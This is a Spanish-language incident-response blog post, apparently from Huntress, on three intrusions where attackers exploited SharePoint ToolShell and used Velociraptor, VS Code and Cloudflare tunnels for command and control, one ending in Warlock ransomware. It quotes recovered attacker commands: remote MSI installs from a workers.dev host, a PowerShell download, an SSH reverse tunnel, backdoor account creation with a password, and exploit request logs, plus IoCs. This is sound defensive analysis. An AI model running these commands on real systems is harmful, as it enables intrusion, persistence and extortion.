Uso indebido de Velociraptor, parte II: el ojo de la tormenta

Agradecimientos: un agradecimiento especial a Ben Folland, Anna Pham, Michael Tigges y Anton Ovrutsky por contribuir a esta investigación y a su redacción.

Recientemente describimos un incidente ocurrido el 12 de noviembre, en el que actores de amenazas explotaron una vulnerabilidad en Windows Server Update Services (WSUS) antes de instalar una herramienta legítima de código abierto llamada Velociraptor. Velociraptor es una herramienta de informática forense y respuesta a incidentes (DFIR) que los actores de amenazas han abusado recientemente en ataques para establecer comunicaciones de comando y control (C2).

Más allá de este incidente más reciente, el Huntress SOC investigó y reportó tres incidentes entre septiembre y noviembre en los que el actor de amenazas instaló Velociraptor y lo usó para el C2 de los endpoints afectados. Algunas de las principales conclusiones de estas investigaciones incluyen:

  • Encontramos varios indicadores de compromiso (IoC) superpuestos en estos tres incidentes, además de diferencias marcadas en las técnicas que usaron los actores de amenazas. Por ejemplo, vimos la misma etiqueta de cuenta de token de túnel de Cloudflare, y la misma fuente de descarga para los archivos MSI instalados, usadas en distintos incidentes.
  • También vimos algunas técnicas usadas en estos tres incidentes que ya habían sido documentadas en ataques relacionados con Velociraptor, como posibles vínculos a vulnerabilidades de ToolShell para acceso inicial y el uso de comandos de PowerShell codificados para descargar Visual Studio Code (code.exe). 
  • Uno de los incidentes involucró el ransomware Warlock e incluyó un nombre de equipo que ya había sido identificado en agosto en una alerta de seguridad del gobierno de Singapur, que apuntaba a la actividad de Storm-2603, un grupo de amenazas con motivación financiera. 

A continuación, encontrarás un resumen de cada uno de los incidentes, incluidas las similitudes y diferencias que observamos.

Figura 1: tres incidentes recientes en los que se abusó de Velociraptor

Incidente 1

El 9 de septiembre, el Huntress SOC reportó que se habían observado herramientas maliciosas instalándose en un endpoint de un cliente del sector agrícola.

Tras las detecciones iniciales, se llevó a cabo una investigación más profunda, que mostró que el actor de amenazas había instalado OpenSSH y luego Velociraptor. Estas instalaciones fueron el resultado de los siguientes comandos:

msiexec /q /i https://royal-boat-bf05.qgtxtebl.workers.dev/ssh.msi

msiexec /q /i https://royal-boat-bf05.qgtxtebl.workers.dev/v3.msi

Una línea de tiempo creada a partir de los registros del visor de eventos de Windows indicó que los comandos anteriores se ejecutaron con éxito, según los registros posteriores de MsiInstaller que indicaban una instalación exitosa, y los registros de Service Control Manager que indicaban la instalación de servicios de Windows.

Este cliente había instalado Microsoft Defender for Endpoint (MDE) y, al parecer, había habilitado la protección de red, evidenciado por los registros Microsoft-Windows-Windows Defender/1125 en el Windows Defender Event Log. Estos registros de eventos aparecieron en una línea de tiempo al mismo tiempo que se iniciaron las instalaciones de OpenSSH y Velociraptor, e indicaron que el proceso principal del proceso msiexec.exe era el siguiente:

w3wp.exe -ap "SharePoint - [REDACTED]443" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iis… -h "C:\inetpub\temp\apppools\SharePoint - [REDACTED]443\SharePoint - [REDACTED]443.config" -w "" -m 0

Estas detecciones indican que las instalaciones probablemente ocurrieron a través de una instancia comprometida de SharePoint.

Al revisar los registros de IIS del servidor web, los analistas de Huntress pudieron identificar al culpable: ToolShell, una cadena de vulnerabilidades de SharePoint que se explota activamente en el mundo real y que permite a los atacantes lograr la ejecución remota de código sin credenciales. El exploit funciona primero evadiendo la autenticación (CVE-2025-49706) mediante una solicitud HTTP especialmente diseñada a /_layouts/15/ToolPane.aspx, que contiene un encabezado Referer configurado como /_layouts/SignOut.aspx (que se puede ver a continuación).

2025-09-09 02:07:20 <REDACTED> POST /_layouts/15/ToolPane.aspx/ DisplayMode=Edit&a=/ToolPane.aspx 443 - 38.54.16[.]179 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+11_3)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/14.1+Safari/605.1.15 /_layouts/SignOut.aspx 200 0 0 579

2025-09-09 02:07:21 <REDACTED> POST /_layouts/15/ToolPane.aspx/ DisplayMode=Edit&a=/ToolPane.aspx 443 - 38.54.16[.]179 Mozilla/5.0+(Fedora;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/129.0.0.0+Safari/537.36 /_layouts/SignOut.aspx 200 0 0 455

La cadena de ToolShell detalla que, una vez evadida la autenticación, los atacantes encadenan una segunda vulnerabilidad para la ejecución remota de código (CVE-2025-49704), como se ve en esta publicación de blog de Viettel Cyber Security.

Para simplificar el proceso, se ha observado en el mundo real a atacantes usando esta cadena de exploits para subir un web shell .aspx malicioso más tradicional al directorio /_layouts/15/ . El atacante puede luego usar este web shell para ejecutar comandos arbitrarios en el servidor.

En nuestro caso, parece que el actor de amenazas pudo haber modificado start.aspx para que actuara como un web shell. Ten en cuenta que start.aspx es una página de aterrizaje predeterminada incluida en las instalaciones de SharePoint; sin embargo, las solicitudes POST, como las mostradas arriba, a este archivo son inusuales.

A continuación, podemos ver una parte de las solicitudes maliciosas relevantes de los registros de IIS de los servidores de SharePoint para este incidente:

Loading Gist...

Después de usar las solicitudes POST para instalar los archivos MSI, el actor de amenazas inició sesión en el endpoint mediante RDP, usando una cuenta llamada adminbak2, y luego instaló un túnel de Cloudflare, como se ve en el siguiente registro de Windows Event Log:

Service Control Manager/7045;Cloudflared agent,"C:\Program Files (x86)\cloudflared\cloudflared.exe" tunnel run --token [REDACTED]

Para los actores de amenazas, el propósito de esta técnica es sacar el tráfico de C2 de la red a través de dominios "conocidos y confiables". Cabe destacar que la etiqueta de la cuenta de token de este túnel de Cloudflare (que hemos redactado) también se encontró en uso en un incidente separado el 5 de noviembre, al que nos referimos como "Incidente 3" en esta publicación.

El atacante también intentó instalar una herramienta llamada SecurityCheck, a través de un archivo MSI, que fue detectada tanto por Windows Defender como por Sophos, y puesta en cuarentena por Windows Defender.

Figura 2: Parte de las alertas activadas por el actor de amenazas


Tanto las instalaciones de Cloudflare como las de SecurityCheck se originaron desde la misma ubicación remota que las instalaciones de OpenSSH y Velociraptor, pero no vinieron acompañadas de los registros de MDE observados con las instalaciones anteriores.

El archivo MSI de SecurityCheck puesto en cuarentena no se pudo recuperar del endpoint, pero la detección de Sophos incluyó varios hashes, uno de los cuales se encontró en VirusTotal. Los resultados de la búsqueda se muestran en la Figura 3.

Figura 3: Resultados de la búsqueda en VirusTotal


Finalmente, se observó al actor de amenazas autenticándose en una cuenta de usuario distinta de adminbak2 y ejecutando ADExplorer64.exe desde esa cuenta, además de comandos de enumeración de dominio (C:\Windows\system32\net1 group "domain admins" /do) probablemente orientados a obtener más información sobre los dominios de la organización y la configuración de Active Directory.

Incidente 2 

Si bien la mayoría de los incidentes que investigamos involucran a clientes posteriores en la cadena, el 15 de septiembre, el Huntress SOC identificó actividad maliciosa que se originó directamente desde la propia red de un proveedor de servicios administrados. Un dato importante es que Huntress había enviado un reporte de incidente anterior en julio al socio sobre este mismo servidor de SharePoint. En ese momento, observamos intentos activos de ToolShell que explotaban CVE-2025-53770 y CVE-2025-53771. Esa actividad incluyó intentos de colocar un web shell dentro de la instancia de SharePoint, y a pesar del reporte inicial, esta vulnerabilidad permaneció sin parchar.

El 15 de septiembre, Huntress recibió una alerta sobre actividad sospechosa en el mismo endpoint. Nuestra investigación identificó rápidamente solicitudes web sospechosas desde 91.236.230[.]76 hacia start.aspx, como se muestra en la Figura 4.

Figura 4: Registros de acceso de IIS para el servidor de SharePoint


El hecho de que el archivo se encuentre en el directorio /_layouts/15/ es una señal clara de que, una vez más, se está explotando la cadena de vulnerabilidades de ToolShell, usándola para obtener acceso inicial mediante la instalación de un web shell en el directorio de SharePoint.

Este web shell le permite al actor de amenazas ejecutar comandos en el equipo afectado, lo cual usó de inmediato para ejecutar el comando que se muestra en la Figura 5.

Figura 5: Web shell ejecutando MSIExec para instalar Velociraptor


Para mayor claridad, el comando observado aparece de la siguiente manera:

msiexec /q /i https[:]//royal-boat-bf05.qgtxtebl.workers[.]dev/v3.msi

Este comando descargó y ejecutó el archivo “Microsoft Software Installer” v3.msi. El proceso principal fue la instancia de w3wp.exe que ejecutaba la instalación de SharePoint, lo que significa que se ejecutaba como una cuenta de servicio con privilegios de administrador. A este proceso le siguió una serie de registros del Registro de eventos de Windows de MsiInstaller y Service Control Manager que indicaban la instalación exitosa de Velociraptor como un servicio de Windows, como se muestra en la Figura 6.

Figura 6: Autorun creado para que Velociraptor se ejecute como un servicio de Windows


Al configurarse Velociraptor como un servicio, esto le dio tanto persistencia como privilegios, iniciándose automáticamente al arrancar como el usuario SYSTEM. Este es el objetivo principal de un actor de amenazas después del acceso inicial, y en este caso lo lograron en un solo paso.

Con el punto de apoyo de Velociraptor establecido, el adversario procedió a configurar un canal C2 secundario para mayor resiliencia, el cual se conectó a chat.hcqhajfv.workers[.]dev. Utilizaron la instancia de Velociraptor para ejecutar una serie de comandos de PowerShell codificados en Base64, como se ve en la Figura 7.

Figura 7: Comando de PowerShell ejecutado a través de Velociraptor


Al decodificarlos, los comandos aparecían de la siguiente manera:

Invoke-WebRequest -Uri "https[:]//royal-boat-bf05.qgtxtebl.workers[.]dev/code.txt" -OutFile "C:\ProgramData\Microsoft\AppV\code.exe" 

C:\ProgramData\Microsoft\AppV\code.exe tunnel --accept-server-license-terms service install > C:\ProgramData\Microsoft\AppV\i1.log

type C:\ProgramData\Microsoft\AppV\i1.log

Aquí vemos que el atacante estaba descargando Visual Studio Code (code.exe) con la intención de establecer un túnel remoto.

Figura 8: Registros de VS Code para la creación del túnel


Una vez más, al aprovechar dominios e IP de confianza, el atacante estableció conexiones salientes que evaden la mayoría de los controles de seguridad de red. Usar VS Code ofrece un doble beneficio, ya que evade la detección antivirus tradicional, dado que VS Code es una aplicación legítima y firmada digitalmente. Combinado, esto permite que el atacante permanezca en el endpoint sin ser detectado por el antivirus o los controles de red.

Por suerte, el SOC de Huntress estaba al tanto, y para ese momento la amenaza ya había sido contenida y reportada al cliente, quien tomó las medidas de remediación necesarias. Esta intrusión es un ejemplo de manual de cómo los actores de amenazas utilizan herramientas legítimas como armas (específicamente Velociraptor y VS Code) para pasar desapercibidos entre la actividad administrativa, y de cómo las vulnerabilidades sin parchar pueden dejar la puerta abierta durante meses.

Incidente 3: Ransomware Warlock

A principios de noviembre, una organización instaló Huntress después de haber sufrido un ataque de ransomware Warlock. Como el agente se instaló en medio del compromiso, nuestra visibilidad fue algo limitada. Sin embargo, la investigación sí reveló que los actores de amenazas habían instalado Velociraptor en varios endpoints el 5 de noviembre, para facilitar la ejecución remota de comandos. Cabe destacar que la instancia de Velociraptor en este incidente también estaba configurada con el dominio update[.]githubtestbak[.]workers[.]dev. También vimos este mismo dominio siendo usado por actores de amenazas en el incidente del 12 de noviembre que involucró la explotación de WSUS y que se describió en la primera parte de esta serie de blogs.

Figura 9: Línea de tiempo de detección de un comando codificado de Velociraptor en este incidente


El atacante creó un nuevo usuario adminbak (con la contraseña abcd1234..##) desde la cuenta de administrador comprometida, antes de moverse lateralmente por el entorno.

Aquí es donde las cosas se ponen interesantes: una mirada más de cerca a los registros de eventos de Windows muestra un rastro curioso de errores, mientras el actor de amenazas intentaba instalar un túnel de Cloudflare (sin éxito al principio) y ejecutar el servidor OpenSSH, a pesar de que la aplicación parecía no estar instalada.

Los tropiezos del actor de amenazas

El actor de amenazas intentó instalar Cloudflare tres veces, pero cada vez fue detectado y puesto en cuarentena por Windows Defender. Finalmente, el actor de amenazas inició sesión en el endpoint, deshabilitó Windows Defender e instaló Cloudflare con éxito, como se ve en el siguiente comando:

"C:\Program Files (x86)\cloudflared\cloudflared.exe" tunnel run --token [REDACTED]

Luego, el actor de amenazas envió un comando de PowerShell codificado en Base64 al endpoint a través del C2 de Velociraptor, en un intento de ejecutar OpenSSH, que aún no se había instalado en este endpoint. El comando de PowerShell decodificado se veía así:

Start-Process powershell "ssh -R 80:localhost:35891 -o StrictHostKeychecking=no [email protected] > c:\users\public\iv.log" -WindowStyle Hidden

Es posible que el actor de amenazas sospechara que el comando no tuvo éxito, porque el siguiente comando de PowerShell codificado que vemos, unos doce segundos después, se ve así:

netstat -ant | findstr "35891"

Poco después, el actor de amenazas envió un comando de PowerShell codificado más, que al decodificarse resultó en lo siguiente:

cat c:\users\public\iv.log

Nuevamente, este comando se ejecutó en un endpoint Windows, lo que significa que el actor de amenazas probablemente vio la siguiente respuesta a ese comando:

'cat' is not recognized as an internal or external command,

operable program or batch file.

En otro endpoint del entorno donde el actor de amenazas había instalado Velociraptor, intentaron crear la cuenta de usuario adminbak… dos veces. Ambas veces fallaron porque el comando enviado mediante Velociraptor, como PowerShell codificado en Base64, omitía el importante indicador /add, que en este caso es necesario para agregar una nueva cuenta de usuario:

net user adminbak abcd1234..##

Al darse cuenta de su error, el actor de amenazas agregó el modificador /add al comando:

net user adminbak abcd1234..##  /add  

En este punto, los registros del Security Event Log finalmente confirmaron que la cuenta de usuario sí se había creado.

Acceso ampliado

El actor de amenazas luego tomó varias medidas para ampliar su nivel de acceso en todo el entorno. Usaron Visual Studio Code (code.exe) para crear un túnel, como se ve en la siguiente línea de comandos:

"C:\ProgramData\Microsoft\code.exe" --verbose --cli-data-dir C:\Windows\system32\config\systemprofile\.vscode\cli tunnel service internal-run --log-to-file C:\Windows\system32\config\systemprofile\.vscode\cli\tunnel-service.log

En otro intento por facilitar el acceso, también instalaron el software de escritorio remoto de código abierto TightVNC, como se observa en la ruta del binario según la telemetría de EDR: "C:\Program Files\TightVNC\tvnserver.exe" -service.

El atacante también instaló un servicio llamado Security State Check (SecurityCheck.exe). El hash de este archivo está marcado como malicioso en VirusTotal por una cantidad considerable de proveedores de seguridad (40 de 72). El siguiente registro del Windows Event Log refleja al actor de amenazas iniciando este servicio en uno de los endpoints afectados.

Service Control Manager/7045;Security State Check,"C:\Program Files (x86)\SecurityCheck\SecurityCheck.exe" server -p 35891,user mode service,auto start,LocalSystem

Notas de rescate y del descifrador

La nota de rescate en el incidente indicó el uso de Warlock, una variante de ransomware bastante nueva que apenas hizo su debut en junio de 2025. Vale la pena señalar que los actores de amenazas vinculados a Warlock ya habían sido observados antes desplegando Velociraptor en ataques que descargaban VS Code para crear un túnel hacia un C2 controlado por el atacante.

Figura 10: Extracto de la nota de ransomware de Warlock


El nombre de equipo usado por el actor de amenazas en este incidente (DESKTOP-C1N9M) corresponde a la misma estación de trabajo identificada en agosto en una alerta de seguridad del gobierno de Singapur. Esta alerta señalaba la actividad de Storm-2603, un clúster de amenazas con motivación financiera. Desde julio, se ha visto al actor de amenazas usando ToolShell para explotar servidores de SharePoint antes de colocar web shells y cargadores (mediante DLL side-loading) y desplegar el ransomware Warlock.

Tras este incidente, el 12 de noviembre, se detectó que el ejecutable lockj_decryptor.exe se ejecutó en uno de los endpoints del cliente, y fue puesto en cuarentena por Windows Defender. Esto indicó que el cliente probablemente había obtenido una herramienta descifradora, y había intentado ejecutarla en al menos un endpoint.

La figura 11 muestra el archivo readme.txt creado por la herramienta descifradora.

Figura 11: Nota de la herramienta descifradora


Ten en cuenta que, en la nota de la herramienta descifradora, el “Aviso de vulnerabilidad” en el ítem 5 establece que “Las vulnerabilidades en tu empresa existen en WSUS…”; sin embargo, los indicadores de este incidente coincidían muy de cerca con los de los incidentes 1 y 2, que aparentemente fueron resultado de vulnerabilidades de SharePoint. Nuevamente, en este incidente, el agente de Huntress se instaló mucho después de que el actor de amenazas lograra el acceso inicial a la infraestructura, y al combinarse esto con una escasez de telemetría de EDR, los analistas de Huntress no pudieron identificar de manera definitiva el medio de acceso inicial. Por ello, la declaración sobre las vulnerabilidades de WSUS podría ser una referencia residual, en lugar de estar vinculada al vector real de acceso inicial.

Sin embargo, esta declaración sobre vulnerabilidades explotadas sí remite a la primera parte de esta serie, donde el actor de amenazas atacó una vulnerabilidad de WSUS (CVE-2025-59287) para lograr el acceso inicial.

Conclusión 

La actividad maliciosa de los tres eventos distintos descritos anteriormente (además del que se mencionó en la primera parte de esta publicación) tuvo diferentes vectores de acceso inicial, desde la explotación vía WSUS hasta el compromiso mediante web shell en SharePoint. Sin embargo, todos involucraron la herramienta Velociraptor, y hubo varias similitudes notables en las actividades posteriores a la explotación.

Por ejemplo, los archivos MSI de dos incidentes provinieron del mismo dominio (royal-boat-bf05.qgtxtebl.workers[.]dev). Además, los actores de amenazas intentaron ampliar su nivel de acceso mediante comandos codificados para crear túneles de VSCode (code.exe) y túneles de Cloudflare, además de tomar varias otras medidas de persistencia y reconocimiento.

Como hemos visto en otros incidentes donde los actores de amenazas abusan de herramientas legítimas, y en los casos descritos anteriormente que incluyen instancias instaladas de Velociraptor y túneles de VS Code, incluso las instalaciones de aplicaciones de apariencia inofensiva pueden ser sospechosas. Las organizaciones deben asegurarse de la legitimidad de cualquier instancia de Velociraptor en su entorno y verificar que cuenten con una base sólida de software autorizado en su organización.

Indicadores de compromiso (IOC)


Ítem

Descripción

royal-boat-bf05.qgtxtebl.workers[.]dev

Fuente de descarga, incidente 1, incidente 2

SecurityCheck.msi


SHA256:

c70fafe5f9a3e5a9ee7de584dd024cb552443659f06348398d3873aa88fd6682

Archivo MSI de SecurityCheck, incidente 1

update[.]githubtestbak[.]workers[.]dev

C2 de Velociraptor, incidente 3 (también visto previamente en el incidente descrito en la parte uno de este blog)

chat.hcqhajfv.workers[.]dev

C2 de Velociraptor, incidente 2

DESKTOP-C1N9M

Estación de trabajo del actor de amenazas, vista previamente por el gobierno de Singapur en actividad de Storm-2603

SecurityCheck.exe 


SHA256:

040d7ee5b7bb0b978220be326804fa827f6284c8478a27af88c616fcacfeb423

Enlace de VirusTotal

También te podría interesar